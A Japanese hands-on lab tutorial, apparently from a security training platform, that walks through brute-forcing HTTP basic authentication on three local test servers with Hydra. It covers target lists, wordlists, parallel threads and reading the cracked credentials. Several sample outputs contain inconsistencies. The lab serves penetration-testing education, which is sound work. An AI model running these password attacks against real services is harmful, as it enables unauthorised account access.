Hydra を用いた複数ターゲット攻撃

HydraBeginner
オンラインで実践に進む

はじめに

この実験では、Hydra を使用して複数のターゲットを同時に攻撃する方法を学習します。この実験は、Hydra の機能を活用して、ターゲットホストのリストに対してパスワードクラッキングを試行することに焦点を当てています。

この実験では、IP アドレスまたはホスト名を含むターゲットリストファイルを作成し、-M オプションを使用して Hydra に読み込み、ターゲットに対して並列の HTTP 攻撃を実行し、最後に出力を確認して複数のホストで成功したログインを特定する方法を段階的に説明します。この実践的な経験を通して、Hydra を使用した侵入テストやセキュリティ監査シナリオにおける実用的なスキルを習得できます。

ターゲットリストファイルを作成する

このステップでは、ターゲットリストファイルを作成します。このファイルには、Hydra が接続を試み、パスワードをクラッキングしようとするターゲット URL のリストが含まれます。これは、侵入テストやセキュリティ監査のあらゆるシナリオで重要なステップです。

HTTP 攻撃のターゲットリストファイルは、IP アドレスだけでなく URL を含みます。各行は、HTTP 基本認証を持つターゲット Web サービスを表します。今回の実験環境では、異なるポートで基本認証を有効にした複数の Apache Web サーバーをセットアップしています。

この実験のすべての操作は、~/project ディレクトリで行います。

  1. まず、テスト用 Web サーバーが動作していることを確認しましょう。

    curl -I http://127.0.0.1:8081/ 2> /dev/null | head -1
    curl -I http://127.0.0.1:8082/ 2> /dev/null | head -1
    curl -I http://127.0.0.1:8083/ 2> /dev/null | head -1
    HTTP/1.1 401 Unauthorized
    HTTP/1.1 401 Unauthorized
    HTTP/1.1 401 Unauthorized

    サーバーが動作していることを示す HTTP レスポンスヘッダーが表示されるはずです。

  2. テスト用 Web サーバーを含むターゲットファイルを作成します。

    cd ~/project
    echo "127.0.0.1:8081" > targets.txt
    echo "127.0.0.1:8082" >> targets.txt
    echo "127.0.0.1:8083" >> targets.txt

    これにより、異なるポートでローカルホスト上で動作する 3 つの HTTP サービスを含むターゲットリストが作成されます。

    • ポート 8081: ユーザー admin とパスワード password123 で保護されています。
    • ポート 8082: ユーザー user とパスワード secret で保護されています。
    • ポート 8083: ユーザー testuser とパスワード password で保護されています。
  3. ファイルが作成され、ターゲットが含まれていることを確認します。

    cat ~/project/targets.txt

    次のような出力が表示されるはずです。

    127.0.0.1:8081
    127.0.0.1:8082
    127.0.0.1:8083
  4. 保護されたリソースの 1 つをテストして、認証が必要であることを確認します。

    curl http://127.0.0.1:8081/

    HTTP 401 Unauthorized レスポンスが表示され、基本認証が必要であることが確認できます。

これで、~/project ディレクトリに認証が必要な HTTP サービスを含む targets.txt というターゲットリストファイルが正常に作成されました。このファイルは、次のステップで Hydra にターゲットを読み込むために使用されます。

オプション -M でターゲットを読み込む

このステップでは、前のステップで作成したターゲットリストファイルを、-M オプションを使用して Hydra に読み込む方法を学びます。-M オプションは、Hydra にターゲットホストのリストをファイルから読み込むように指示します。これは、テストするターゲットが多数ある場合に特に便利です。

HTTP 攻撃の場合、基本的な構文は次のとおりです。

hydra -M <target_file> http-get <path>

ここで:

  • <target_file> は、ターゲットホストのリストを含むファイルへのパスです。
  • http-get は、GET リクエストを使用して HTTP 基本認証を攻撃することを指定します。
  • <path> は、Web サーバー上で攻撃するパスです (例:ルートの場合は /)。

targets.txt ファイルからターゲットを読み込み、HTTP 基本認証を攻撃するための Hydra コマンドを構築しましょう。

  1. 攻撃用のユーザー名とパスワードリストを作成します。

    cd ~/project
    echo "admin" > users.txt
    echo "user" >> users.txt
    echo "testuser" >> users.txt
    echo "root" >> users.txt

    これは、設定した実際のユーザー名に加えて、一般的なユーザー名 root を含むユーザー名リストを作成します。

  2. パスワードリストを作成します。

    echo "password123" > passwords.txt
    echo "secret" >> passwords.txt
    echo "password" >> passwords.txt
    echo "admin" >> passwords.txt
    echo "123456" >> passwords.txt

    これは、設定した実際のパスワードに加えて、一般的な弱いパスワードを含むパスワードリストを作成します。

  3. 今、targets.txt ファイルからターゲットを読み込み、HTTP 基本認証をクラッキングしようとする Hydra コマンドを実行します。

    hydra -L ~/project/users.txt -P ~/project/passwords.txt -M ~/project/targets.txt http-get /

    期待される結果: Hydra が 3 つの HTTP サービスすべてに接続を試み、それぞれに対してパスワードを正常にクラッキングしている様子が表示されます。

    Hydra v9.x (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes.
    
    Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-XX-XX XX:XX:XX
    [DATA] max 16 tasks per 1 server, overall 64 tasks, 60 login tries (l:4/p:5), ~1 try per task
    [DATA] attacking http-get://127.0.0.1:8081:80/
    [DATA] attacking http-get://127.0.0.1:8082:80/
    [DATA] attacking http-get://127.0.0.1:8083:80/
    [8081][http-get] host: 127.0.0.1   login: admin   password: password123
    [8082][http-get] host: 127.0.0.1   login: user   password: secret
    [8083][http-get] host: 127.0.0.1   login: testuser   password: password
    1 of 3 targets completed, 3 valid passwords found
    Hydra finished.

    これは、Hydra が 3 つの HTTP サービスすべてに対して有効な認証情報を正常に発見したことを示しています。

  4. 必要に応じて、より具体的なパスでテストすることもできます。

    hydra -L ~/project/users.txt -P ~/project/passwords.txt -M ~/project/targets.txt http-get /index.html

このステップでは、Hydra で -M オプションを使用してファイルからターゲットを読み込み、HTTP 攻撃を行う方法を学習しました。これは、基本認証を持つ Web サービスに対して大規模なパスワードクラッキング攻撃を実行するための基本的なスキルです。

並列 HTTP 攻撃を実行する

このステップでは、Hydra を使用した並列 HTTP 攻撃の実行方法を学びます。並列攻撃を実行することで、特に複数のターゲットを対象とする場合、クラッキングプロセスを大幅に高速化できます。Hydra は、-t オプションを使用して実行する並列タスクの数を指定できます。

-t オプションは、Hydra が行う並列接続の数を制御します。HTTP 攻撃の場合、これは特に効果的です。Web サーバーは、通常、SSH サービスよりも複数の同時接続をより効率的に処理できます。

前の Hydra コマンドを修正して、指定されたスレッド数で HTTP 攻撃を実行してみましょう。

  1. 8 スレッドで HTTP 攻撃を実行する次の Hydra コマンドを実行します。

    cd ~/project
    hydra -L users.txt -P passwords.txt -t 8 -M targets.txt http-get /

    このコマンドで、-t 8 オプションは、Hydra に 8 つの並列スレッドを使用するように指示します。つまり、Hydra は複数のターゲットに同時に接続を試み、異なるユーザー名/パスワードの組み合わせを並列で試みます。

    期待される出力:

    Hydra v9.x (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes.
    
    Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-XX-XX XX:XX:XX
    [DATA] max 8 tasks per 1 server, overall 24 tasks, 60 login tries (l:4/p:5), ~3 try per task
    [DATA] attacking http-get://127.0.0.1:8081:80/
    [DATA] attacking http-get://127.0.0.1:8082:80/
    [DATA] attacking http-get://127.0.0.1:8083:80/
    [8081][http-get] host: 127.0.0.1   login: admin   password: password123
    [8082][http-get] host: 127.0.0.1   login: user   password: secret
    [8083][http-get] host: 127.0.0.1   login: testuser   password: password
    1 of 3 targets completed, 3 valid passwords found
    Hydra finished.
  2. -t オプションの値をさまざまな値で実験します。スレッド数を増やして、速度にどのような影響があるかを確認します。

    hydra -L users.txt -P passwords.txt -t 16 -M targets.txt http-get /

    スレッド数が多いほど攻撃が早く完了する可能性がありますが、正確な時間はシステムの能力によって異なります。

  3. 詳細な攻撃プロセスを確認するために、詳細な出力を追加することもできます。

    hydra -L users.txt -P passwords.txt -t 8 -v -M targets.txt http-get /

    -v フラグは、各ログイン試行を示す詳細な出力を提供します。Hydra が実際に何のテストを行っているかを理解するのに役立ちます。

  4. より詳細な出力を得るには、-V (非常に詳細) オプションを使用します。

    hydra -L users.txt -P passwords.txt -t 8 -V -M targets.txt http-get /

HTTP 攻撃に関する重要な考慮事項:

  • Web サーバーの制限: 大部分の Web サーバーは多くの同時接続を処理できます。そのため、HTTP 攻撃は他のプロトコルよりも一般的に高速です。
  • レート制限: 一部の Web アプリケーションは、急速な認証試行をブロックするレート制限を実装しています。
  • ログ: HTTP 認証試行は、通常、Web サーバーによってログに記録されるため、検出が容易になります。
  • SSL/HTTPS: HTTPS ターゲットの場合、SSL 対応のターゲットで http-get を使用するか、明示的な HTTPS の場合は https-get を使用します。

このステップでは、-t オプションを使用して Hydra で並列 HTTP 攻撃を実行する方法を学習しました。このテクニックは、基本認証を持つ Web アプリケーションに特に効果的です。

複数のホストに対する出力結果を確認する

このステップでは、複数の HTTP ターゲットを攻撃する場合の Hydra の出力の解釈方法を学びます。Hydra の出力は、さまざまな Web サービスにおける攻撃試行の成功または失敗に関する貴重な情報を提供します。

Hydra が HTTP 基本認証のパスワードを正常にクラッキングすると、次の形式で認証情報を表示します。

[<ポート>][http-get] host: <ホスト>   login: <ユーザー名>   password: <パスワード>

たとえば:

[8081][http-get] host: 127.0.0.1   login: admin   password: password123

これは、Hydra がホスト 127.0.0.1 のポート 8081 でユーザー admin の HTTP 基本認証をパスワード password123 を使用して正常にクラッキングしたことを示しています。

HTTP 攻撃からの出力を分析し、さまざまな結果が何を意味するかを理解しましょう。

  1. すべての出力を確認するために、完全な Hydra 攻撃コマンドをもう一度実行します。

    cd ~/project
    hydra -L users.txt -P passwords.txt -t 8 -M targets.txt http-get /
  2. 詳細な出力を確認します。3 つのターゲットすべてに関する結果が表示されるはずです。

    期待される包括的な出力:

    Hydra v9.x (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes.
    
    Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-XX-XX XX:XX:XX
    [DATA] max 8 tasks per 1 server, overall 24 tasks, 60 login tries (l:4/p:5), ~3 try per task
    [DATA] attacking http-get://127.0.0.1:8081:80/
    [DATA] attacking http-get://127.0.0.1:8082:80/
    [DATA] attacking http-get://127.0.0.1:8083:80/
    [8081][http-get] host: 127.0.0.1   login: admin   password: password123
    [8082][http-get] host: 127.0.0.1   login: user   password: secret
    [8083][http-get] host: 127.0.0.1   login: testuser   password: password
    1 of 3 targets completed, 3 valid passwords found
    Hydra finished.
  3. 失敗した試行の様子を確認するために、いくつかの無効な認証情報を持つシナリオを作成します。主に間違ったパスワードを含む新しいパスワードファイルを作成します。

    echo "wrongpass" > wrong_passwords.txt
    echo "badpass" >> wrong_passwords.txt
    echo "password123" >> wrong_passwords.txt ## 正しいパスワードは一つだけ
  4. 詳細な出力を表示するように Hydra を実行して、成功した試行と失敗した試行の両方を確認します。

    hydra -L users.txt -P wrong_passwords.txt -t 4 -v -M targets.txt http-get /

    成功した試行を示す詳細な出力が表示されます。

    // 省略
    [8081][http-get] host: 127.0.0.1   login: admin   password: password123
    // 省略
  5. 後の分析のために結果をファイルに保存します。

    hydra -L users.txt -P passwords.txt -t 8 -M targets.txt http-get / -o hydra_results.txt

    結果ファイルを確認します。

    cat hydra_results.txt

HTTP 攻撃結果の解釈方法:

  • 成功した攻撃: [ポート][http-get] で始まる行は、認証情報の発見を示します。
  • ターゲット情報: 各成功した結果には、正確なホスト、ポート、ユーザー名、パスワードが表示されます。
  • 概要統計: 最終行には、攻撃されたターゲット数と見つかった有効なパスワード数が表示されます。
  • 失敗した試行: 詳細モードを使用すると、各失敗したログイン試行を確認できます。
  • 出力ファイル: -o を使用すると、分析が容易になるように成功した結果のみをファイルに保存できます。

他のプロトコルとの主な違い:

  • HTTP 攻撃では、結果にポート番号が明確に表示されます。
  • 応答時間は、SSH 攻撃よりも通常高速です。
  • 同じサーバー上の複数の認証領域は、異なるターゲットとして表示されます。
  • HTTP ステータスコード (401、403 など) は、失敗に関する追加のコンテキストを提供します。

このステップでは、複数の HTTP ターゲットを攻撃する場合の Hydra の出力の解釈方法、成功した試行と失敗した試行の違い、および分析のために結果を保存する方法を学びました。この知識は、効果的な Web アプリケーションのセキュリティテストに不可欠です。

まとめ

この実験では、Hydra を使用して、基本認証を持つ HTTP サービスに対してマルチターゲット攻撃を実行する方法を学びました。異なるポートで動作する複数の Web サーバーを含むターゲットリストファイルを作成し、それぞれが異なるユーザー名とパスワードの組み合わせを使用して基本認証で保護されていました。

-M オプションを使用して、複数のターゲットをファイルから読み込む方法を発見し、多数の Web サービスを同時に攻撃する効率的な方法を習得しました。この実験では、-t オプションを使用して並列スレッドを制御し、より高速な HTTP 攻撃を実行する方法も示しました。また、Hydra の出力を解釈して、複数のターゲット全体で認証試行の成功を特定する方法も学びました。

このアプローチは、複数のサービス、仮想ホスト、または Web サーバー上の異なるパス全体で基本認証をテストする必要がある Web アプリケーションのセキュリティテストに特に役立ちます。学習したテクニックは、コンテナ化された環境における Web アプリケーションの包括的なセキュリティ評価を行うための基礎を提供します。